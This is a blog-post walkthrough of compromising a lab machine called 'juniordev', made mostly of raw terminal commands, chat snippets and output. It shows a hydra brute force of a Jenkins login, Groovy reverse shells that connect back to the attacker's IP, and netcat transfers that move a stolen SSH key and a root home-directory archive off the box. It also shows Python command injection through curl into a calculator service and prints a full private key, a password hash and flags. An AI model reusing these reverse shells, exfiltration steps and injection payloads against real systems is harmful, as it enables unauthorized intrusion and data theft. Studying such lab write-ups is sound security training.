ptd-juniordev-private

.

As always we start with a nmap scan

┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $nmap -p- 10.150.150.38 -oN allports.nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 10:49 GMT
Nmap scan report for 10.150.150.38
Host is up (0.031s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
30609/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 20.62 seconds
┌─[user@parrot-virtual]─[~/ptd/juniordev]

.

┌─[user@parrot-virtual]─[~/ptd]

└──╼ $hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.150.150.38 -s 30609 http-post-form “/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password”
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak – Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-09 18:45:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.150.150.38:30609/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password

[STATUS] 482.00 tries/min, 482 tries in 00:01h, 14343917 to do in 495:60h, 16 active

[30609][http-post-form] host: 10.150.150.38 login: admin password: matrix
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-09 18:47:01
┌─[user@parrot-virtual]─[~/ptd]

Start by running a listener (on your machine):

$ rlwrap nc -nlvp 5555
Now, in Jenkins, go to “Jenkins > Nodes > master” and click on “Script Console” from the menu. Execute the following command (found here):

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.66.66.210/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

juniordev:x:1000:1000:Junior Developer 1,,,:/home/juniordev:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jenkins:x:105:112:Jenkins,,,:/var/lib/jenkins:/bin/bash

python -c ‘import pty; pty.spawn(“/bin/bash”)’

flag69 = dffc1dc67f3d55d2b14227b73b590c4ed09b5113

┌─[user@parrot-virtual]─[~/.ssh]
└──╼ $sudo ssh-keygen -A
ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519
┌─[user@parrot-virtual]─[~/.ssh]
└──╼ $sshd -t
sshd: no hostkeys available — exiting.
┌─[✗]─[user@parrot-virtual]─[~/.ssh]
└──╼ $sudo systemctl stop sshd
┌─[user@parrot-virtual]─[~/.ssh]
└──╼ $sudo systemctl status sshd
● ssh.service – OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; >
Active: failed (Result: exit-code) since Wed 2020-09-09 20>
Docs: man:sshd(8)
man:sshd_config(5)
Process: 5484 ExecStartPre=/usr/sbin/sshd -t (code=exited, >

Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Schedul>
Sep 09 20:05:29 parrot-virtual systemd[1]: Stopped OpenBSD Secu>
Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Start r>
Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Failed >
Sep 09 20:05:29 parrot-virtual systemd[1]: Failed to start Open>
…skipping…
● ssh.service – OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; >
Active: failed (Result: exit-code) since Wed 2020-09-09 20>
Docs: man:sshd(8)
man:sshd_config(5)
Process: 5484 ExecStartPre=/usr/sbin/sshd -t (code=exited, >

Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Schedul>
Sep 09 20:05:29 parrot-virtual systemd[1]: Stopped OpenBSD Secu>
Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Start r>
Sep 09 20:05:29 parrot-virtual systemd[1]: ssh.service: Failed >
Sep 09 20:05:29 parrot-virtual systemd[1]: Failed to start Open>
~
┌─[✗]─[user@parrot-virtual]─[~/.ssh]
└──╼ $sudo systemctl start sshd
┌─[user@parrot-virtual]─[~/.ssh]
└──╼ $sudo systemctl status sshd
● ssh.service – OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; >
Active: active (running) since Wed 2020-09-09 20:08:26 BST>
Docs: man:sshd(8)
man:sshd_config(5)
Process: 5532 ExecStartPre=/usr/sbin/sshd -t (code=exited, >
Main PID: 5533 (sshd)
Tasks: 1 (limit: 4635)
Memory: 1.2M
CGroup: /system.slice/ssh.service
└─5533 sshd: /usr/sbin/sshd -D [listener] 0 of 10->

Sep 09 20:08:26 parrot-virtual systemd[1]: Starting OpenBSD Sec>
lines 1-13

kali# ssh -R 8080:10.150.150.38:8080 puck@10.66.66.210
kali# ssh -tt -R 8080:127.0.0.1:8080 puck@10.66.66.210
kali# ssh -T -R 4444:127.0.0.1:8080 puck@10.66.66.210v<<‘EOF’

#16 – Spawn a tty shell.

Hint: python3

You can do that as follows:

$ SHELL=/bin/sh script -q /dev/null

Or with python:

$ python3 -c “import pty;pty.spawn(‘/bin/bash’)”

R3d, [10.09.20 01:30]
String host=”vpn_ip”;
int port=53;
String cmd=”/bin/bash”;

R3d, [10.09.20 01:30]

Pure Groovy/Java Reverse Shell
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

 

String host=”10.66.66.210″;
int port=53;
String cmd=”/bin/bash”;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

 

find . -name “FLAG*”
jenkins@dev1:/$ cat ./var/lib/jenkins/FLAG70.txt
41796ff9d0e29c02c961daa93454942d9c6bea7d

./var/lib/jenkins/users/FLAG69_7705914462374786576
config.xml there
<hudson.model.TimeZoneProperty/>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<passwordHash>#jbcrypt:$2a$10$hzIuA8mfLq7hjbaj5PEqyukvpF0V5RKkKfnsMIV5DjjQXuh0y66O.</passwordHash>
</hudson.security.HudsonPrivateSecurityRealm_-Details>

FLAG 71 d3c7c338d5d8370e5c61fd68e101237a4d438408

jenkins@dev1:/tmp$ cat /home/juniordev/.ssh/id_rsa
cat /home/juniordev/.ssh/id_rsa
—–BEGIN OPENSSH PRIVATE KEY—–
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAutE2eBkhuyABIPkuGJwfsu+rmmcd/f66OU8gwZ8z60ahlcxRTfhp
zN4JkbwvqyvXfEqOzUQgTSy+jl19hJsFdaH9eJIRb6Kgj1I24ynDUP+tiXv8CaTix62pf7
8v/D2ChO0ToG1EzqPsfUG6cNG0FR5Rht8/rqBAQIq6RAHVBg/RKiyRPSW4Z1K3Az559345
5UDgAS4/luKMc7Kw0j6THzYG/suDWsbePa7GPAKLNUPvy/sUdpoGmJqCd8nfrpgbxJonv0
7erSOmn64g25Wac5CwQ3FymrR93HfQ1rqcxAFSXI8vBgx1BKd6uQ8fw1wDmfzq01pL29Ny
Ae8rlC/EXQAAA8i38al7t/GpewAAAAdzc2gtcnNhAAABAQC60TZ4GSG7IAEg+S4YnB+y76
uaZx39/ro5TyDBnzPrRqGVzFFN+GnM3gmRvC+rK9d8So7NRCBNLL6OXX2EmwV1of14khFv
oqCPUjbjKcNQ/62Je/wJpOLHral/vy/8PYKE7ROgbUTOo+x9Qbpw0bQVHlGG3z+uoEBAir
pEAdUGD9EqLJE9JbhnUrcDPnn3fjnlQOABLj+W4oxzsrDSPpMfNgb+y4Naxt49rsY8Aos1
Q+/L+xR2mgaYmoJ3yd+umBvEmie/Tt6tI6afriDblZpzkLBDcXKatH3cd9DWupzEAVJcjy
8GDHUEp3q5Dx/DXAOZ/OrTWkvb03IB7yuUL8RdAAAAAwEAAQAAAQA5yhgQZK3Thd3zhkFl
KX6AyrUJyVY0yQRwT/LxEj9sS2gWv6Jy/SI1VoYdR9pzF9fLwgCUrLtVRD8aKP938sBomB
ihoIW2Q9dpHmSONtANkVnsSqc3kIL6g9UICGtemuRyHChTGxoK1hiE0r1KwwPy+HL9xreb
XEUj8gYWnX55JgnNRnxgHo1ws2YRD0L/+j6jSbf1HstLuhupz6JPGCS6Ev6IVt9w2catEQ
I1chKx0W/pgXC2E3qxzoGahaFtzBnOlIlp9gUJDF/UKbRwrVB2Dm8amgaIKWng+aWlWsRB
LUIt9QvAGnphdH5CLdGb22UQ/3Ke5J1e+zRJ4mqNpZGBAAAAgQCPdYfTvB1Tat+k8ZbCVc
XOUFa5KuPJa5iOcHJT90fAJVjLp53LGTCd66QRUB+y30jaVFZQTDPVqdpOCaBq4qdWvQmU
X7nrLuH+R1U7gE3rCq0qrhD9OLsQBaHI1yisN/30+OcqQmqKLcjtWEKwPRU0ASLMEkkcFh
H18RYd/0y7FAAAAIEA6l21bcwPQe/rN5MxPbmNUtxZzEXe9aJw4SQd4fGIwo73gK3Ppb5z
vOhUcCKH5TFGhCwlvTen0VyLJcloGM1H7xXjm1lZdbpsifIONms/nCQgDvOaxTq/4RIAHW
uolQblUbaleM3qhsDnq8bBGqZAY0iuccC1RYLpjl8rynAE36EAAACBAMwP4XRz977LV5pA
xQraLfy46irxfENlAGttvrSAiE6VoIuaZVJhwUl6iFkS6/rPv2wRKXNi6D9lcC9/yHPpQw
v7Hlj/XcPHHpjWxXmxybyNtUjXm/g93802g/4I75ZEe9d97lZSuTQiWcsZZiD5b09+7HZK
WtJNIy1nwgxLoJs9AAAADmp1bmlvcmRldkBkZXYxAQIDBA==
—–END OPENSSH PRIVATE KEY—–
jenkins@dev1:/tmp$

E:\PENTEST>nc -nlvp 5555 < FLAG.png
listening on [any] 5555 …
jenkins@dev1:/tmp$ nc 10.66.66.210 5555 < FLAG.png

transfer id_rsa
E:\PENTEST>nc -nlvp 5555 < id_rsa
listening on [any] 5555 …
connect to [10.66.66.210] from (UNKNOWN) [10.150.150.38] 52456

jenkins@dev1:/tmp$ nc 10.66.66.210 5555 > id_rsa
nc 10.66.66.210 5555 > id_rsa

R3d, [10.09.20 01:30]
String host=”vpn_ip”;
int port=53;
String cmd=”/bin/bash”;

R3d, [10.09.20 01:30]


String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

view raw

revsh.groovy

hosted with ❤ by GitHub

puckiestyle, [10.09.20 14:01]
we have too make a rev shell like this

juniordev@dev1:/tmp$ ssh -tt -R 8080:127.0.0.1:8080 puckie@10.66.66.42
puckie@10.66.66.42's password: ***** 
-e 
____ _ ____ 
| _ \ __ _ _ __ _ __ ___ | |_ / ___| ___ ___ 
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
| __/ (_| | | | | | (_) | |_ ___) | __/ (__ 
|_| \__,_|_| |_| \___/ \__| |____/ \___|\___|


Distro version: 
Kernel Version: Linux 5.7.0-2parrot2-amd64 x86_64
-e 
The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

____ _ ____ 
| _ \ __ _ _ __ _ __ ___ | |_ / ___| ___ ___ 
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
| __/ (_| | | | | | (_) | |_ ___) | __/ (__ 
|_| \__,_|_| |_| \___/ \__| |____/ \___|\___|


The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Nov 9 12:59:44 2020 from 37.114.88.152
┌─[puckie@parrot-virtual]─[~]

 

┌─[user@parrot-virtual]─[~]
└──╼ $wfuzz -u http://localhost:8080/FUZZ/ –hc 404 -w /usr/share/dirb/wordlists/common.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz’s documentation for more information.

********************************************************
* Wfuzz 2.4.5 – The Web Fuzzer *
********************************************************

Target: http://localhost:8080/FUZZ/
Total requests: 4614

===================================================================
ID Response Lines Word Chars Payload
===================================================================

000000001: 200 26 L 43 W 607 Ch “”
000003841: 200 11 L 24 W 228 Ch “static”

Total time: 41.79478
Processed Requests: 4614
Filtered Requests: 4612
Requests/sec.: 110.3965

.So now we can access a python calculator on localhost:8080 [ but stuck here]

.

Jonne, [15.03.21 11:18]
- I did a succesful command injection with this:
curl -X POST localhost:8080 -d "op1=__import__('os').system('cat /etc/passwd > /tmp/foo').system('id')&op2=0"

- I tarred juniordev and root home dirs and copied then to /tmp and then over ssh.
curl -X POST localhost:8080 -d "op1=__import__('os').system('tar -czf /tmp/root.tgz /root')&op2=0"

Jonne, [15.03.21 11:21]
(dat system('id') moet eigenlijk weg uit dat eerste commando)

.

 

┌─[puckie@parrot-virtual]─[~]
└──╼ $exit
logout
Connection to 10.66.66.42 closed.
juniordev@dev1:/tmp$ ls -la
total 3468
drwxrwxrwt 11 root root 4096 Jul 29 10:59 .
drwxr-xr-x 18 root root 4096 Apr 13 11:06 ..
drwxrwxrwt 2 root root 4096 Jul 29 08:14 .ICE-unix
drwxrwxrwt 2 root root 4096 Jul 29 08:14 .Test-unix
drwxrwxrwt 2 root root 4096 Jul 29 08:14 .X11-unix
drwxrwxrwt 2 root root 4096 Jul 29 08:14 .XIM-unix
drwxrwxrwt 2 root root 4096 Jul 29 08:14 .font-unix
-rw-r--r-- 1 root root 1472 Jul 29 10:57 foo
drwxr-xr-x 2 jenkins jenkins 4096 Jul 29 08:14 hsperfdata_jenkins
drwxr-xr-x 2 root root 4096 Jul 29 08:14 hsperfdata_root
drwxr-xr-x 2 jenkins jenkins 4096 Jul 29 08:14 jetty-0_0_0_0-30609-war-_-any-9986462623835705441.dir
-rw-r--r-- 1 root root 360155 Jul 29 10:59 root.tgz
drwx------ 3 root root 4096 Jul 29 08:14 systemd-private-1757a29a649941ff9aec912c7924b74b-systemd-timesyncd.service-0uHx2M
-rw-r--r-- 1 jenkins jenkins 3140849 Jul 29 08:14 winstone13733391394321067299.jar
juniordev@dev1:/tmp$ nc 10.66.66.42 9001 < root.tgz

.

┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $nc -nlvp 9001 > root.tgz
listening on [any] 9001 ...
connect to [10.66.66.42] from (UNKNOWN) [10.150.150.38] 34340

┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $ls -la
total 416
drwxr-xr-x 1 user user 86 Mar 15 10:32 .
drwxr-xr-x 1 user user 2164 Mar 5 15:10 ..
-rw------- 1 user user 1823 Sep 10 2020 id_rsa
-rw-r--r-- 1 user user 10779 Sep 10 2020 passwordfiles.txt
-rwxr-xr-x 1 user user 47500 Sep 10 2020 PE.sh
drwxr-xr-x 1 user user 154 Sep 10 2020 Reports
-rw-r--r-- 1 user user 360155 Mar 15 10:33 root.tgz
┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $untar
bash: untar: command not found
┌─[✗]─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $ tar -xvzf root.tgz 
root/
root/mycalc/
root/mycalc/base.html
root/mycalc/untitled.pyc
root/mycalc/__pycache__/
root/mycalc/__pycache__/untitled.cpython-37.pyc
root/mycalc/templates/
root/mycalc/templates/base.html
root/mycalc/templates/index.html
root/mycalc/templates/result.html
root/mycalc/templates/index.hmtl
root/mycalc/untitled.py
root/mycalc/static/
root/mycalc/static/FLAG.png
root/.ssh/
root/.ssh/known_hosts
root/FLAG72.txt
root/.cache/
root/.cache/pip/
root/.cache/pip/http/
root/.cache/pip/http/6/
root/.cache/pip/http/6/9/
root/.cache/pip/http/6/9/5/
root/.cache/pip/http/6/9/5/d/
root/.cache/pip/http/6/9/5/d/0/
root/.cache/pip/http/6/9/5/d/0/695d085697f4137437997d4ac3aa65b7485d03948827a01f025c7457
root/.cache/pip/http/3/
root/.cache/pip/http/3/3/
root/.cache/pip/http/3/3/4/
root/.cache/pip/http/3/3/4/5/
root/.cache/pip/http/3/3/4/5/3/
root/.cache/pip/http/3/3/4/5/3/334531692250897f1a2024396274e4fbc7c89ff8e740d431d9ecd7f0
root/.cache/pip/http/8/
root/.cache/pip/http/8/6/
root/.cache/pip/http/8/6/5/
root/.cache/pip/http/8/6/5/f/
root/.cache/pip/http/8/6/5/f/0/
root/.cache/pip/http/8/6/5/f/0/865f00d6fa740670c8d696132b3914a8e90ebc04c84ec149609ef3ef
root/.cache/pip/http/9/
root/.cache/pip/http/9/f/
root/.cache/pip/http/9/f/9/
root/.cache/pip/http/9/f/9/3/
root/.cache/pip/http/9/f/9/3/7/
root/.cache/pip/http/9/f/9/3/7/9f937e100a133ace0f86a717e0ada066b9e9d82f4d2982affb4e0344
root/.cache/pip/http/d/
root/.cache/pip/http/d/c/
root/.cache/pip/http/d/c/b/
root/.cache/pip/http/d/c/b/6/
root/.cache/pip/http/d/c/b/6/1/
root/.cache/pip/http/d/c/b/6/1/dcb61fa48ca00e206822fed148e38d1d4494a0b43064c07dcadec607
root/.cache/pip/http/d/c/d/
root/.cache/pip/http/d/c/d/5/
root/.cache/pip/http/d/c/d/5/1/
root/.cache/pip/http/d/c/d/5/1/dcd5114aed52c355291431a789a51caa4694c94c2ad4981b5e1b6395
root/.cache/pip/http/7/
root/.cache/pip/http/7/c/
root/.cache/pip/http/7/c/d/
root/.cache/pip/http/7/c/d/6/
root/.cache/pip/http/7/c/d/6/4/
root/.cache/pip/http/7/c/d/6/4/7cd640c48cd075181016240b50ae2edcf64202a2957989b7e653adf3
root/.cache/pip/http/4/
root/.cache/pip/http/4/9/
root/.cache/pip/http/4/9/6/
root/.cache/pip/http/4/9/6/c/
root/.cache/pip/http/4/9/6/c/6/
root/.cache/pip/http/4/9/6/c/6/496c6d940aa7ff99f20e0969a345138c7434def00976a86c309edd18
root/.cache/pip/http/f/
root/.cache/pip/http/f/8/
root/.cache/pip/http/f/8/5/
root/.cache/pip/http/f/8/5/d/
root/.cache/pip/http/f/8/5/d/2/
root/.cache/pip/http/f/8/5/d/2/f85d23bd01ea3153a430fd7f0252c6f2624a9825bda8cb78028c6b7d
root/.cache/pip/http/f/2/
root/.cache/pip/http/f/2/3/
root/.cache/pip/http/f/2/3/d/
root/.cache/pip/http/f/2/3/d/f/
root/.cache/pip/http/f/2/3/d/f/f23df24c29302dbf4224def3c946bab865d6ba71be3eb084e641b571
root/.cache/pip/wheels/
root/.cache/pip/wheels/59/
root/.cache/pip/wheels/59/13/
root/.cache/pip/wheels/59/13/3f/
root/.cache/pip/wheels/59/13/3f/e51ca58ea933334f0f619d0dfbba9d7d7ee49fc51e163c6ad7/
root/.cache/pip/wheels/59/13/3f/e51ca58ea933334f0f619d0dfbba9d7d7ee49fc51e163c6ad7/web.py-0.51-cp27-none-any.whl
root/.bashrc
root/.gnupg/
root/.gnupg/private-keys-v1.d/
root/.profile
root/.bash_history
root/.local/
root/.local/share/
root/.local/share/nano/
┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $ls
id_rsa passwordfiles.txt PE.sh Reports root root.tgz
┌─[user@parrot-virtual]─[~/ptd/juniordev]
└──╼ $cd root
┌─[user@parrot-virtual]─[~/ptd/juniordev/root]
└──╼ $ls
FLAG72.txt mycalc
┌─[user@parrot-virtual]─[~/ptd/juniordev/root]
└──╼ $cat FLAG72.txt
ab77beb9cdadc97f3644a00706076293ee8cbbd2
┌─[user@parrot-virtual]─[~/ptd/juniordev/root]

.

Author : Puckiestyle

 

 

Author Posted on

Leave a Reply

Your email address will not be published.